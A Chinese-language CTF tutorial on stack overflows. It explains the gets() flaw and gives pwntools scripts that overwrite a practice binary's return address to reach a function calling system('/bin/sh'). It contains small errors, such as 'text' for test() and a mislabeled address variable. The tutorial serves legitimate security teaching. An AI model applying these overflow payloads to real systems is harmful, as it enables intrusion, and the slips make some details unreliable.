在国内的CTF比赛中，PWN题最常见考点就是缓冲区溢出漏洞，而缓冲区溢出代表就是栈溢出漏洞。
0x01 基础知识
栈是一种先进后出的数据结构，从高地址向低地址增长的内存结构。
函数调用栈是指程序运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等，是系统栈的一部分。
在一次函数调用中，函数调用栈中将被依次压入：函数实参、返回地址、EBP。如果函数有局部变量，接下来就在栈中开辟相应的空间以构造变量。
函数调用栈结构
ESP 称为栈顶指针，用来指示当前栈帧的顶部。
EBP 称为栈基址指针，用来指示当前栈帧的底部。
0x02漏洞原理
栈溢出漏洞是由于使用了不安全的函数，如C中的 read(fd, buf, nbytes)、gets(s)等，通过构造特定的数据使得栈溢出，从而导致程序的执行流程被控制。
当程序代码如下时：
int main(int argc, char **argv) {
char s[12];
gets(s);
return 0;
}
栈空间如下：
当构造变量char s[12]时，系统就在栈中给s开辟栈空间，可gets(s)函数未限制输入字符长度，可以构造大量的数据来超出变量的空间从而造成溢出，覆盖到s以上的栈空间。
0x03 解题步骤
例举一道栈溢出的PWN题，根据解题步骤来解答。
1. 逆向工程：
将PWN题拖入IDA，点击程序入口函数。按F5逆向main函数，查看对应的C伪代码。
main函数调用vulnerable()函数。
点击进入vulnerable()函数并F5逆向。
vulnerable()函数中调用了gets()和puts()函数，而程序的逻辑就运行main函数和vulnerable函数。
vulnerable函数功能：输入字符串，输出字符串
程序中主要函数有
内置行数：gets、puts、system
自定义函数：main、test、success
2. 分析代码：
进行逆向工程拿到C伪代码，代码大致如下：
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
void test() {
puts("Connection Successful.");
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
int main(int argc, char **argv) {
vulnerable();
return 0;
}
gets() 是一个危险函数，因为它不检查输入字符串的长度，而是以回车来判断是否输入结束，所以很容易导致栈溢出。
3. 漏洞利用：
查看程序的保护机制：
程序在无任何保护的情况下进行解题：
输入s的值溢出到返回地址，将返回地址替换成text函数的起始地址。
查看text函数的起始地址。
EBP与EBP的距离14H，而栈中的EBP占栈内存4H，所以要覆盖到放回地址需要18H。
编写脚本如下：
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491DE
payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)
sh.sendline(payload)
sh.interactive()
利用脚本后的栈结构如下：
所以当函数调用完毕后，执行返回地址时将执行text函数。
运行脚本，成功运行text函数：
4. getshell：
分析代码发现程序中有getshell函数，这时就不需要构造shellcode，直接溢出返回地址，让程序执行此函数。
查看success函数地址：
脚本如下：
##!/usr/bin/env python
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491A2
payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)
sh.sendline(payload)
sh.interactive()
运行脚本，成功拿到shell：
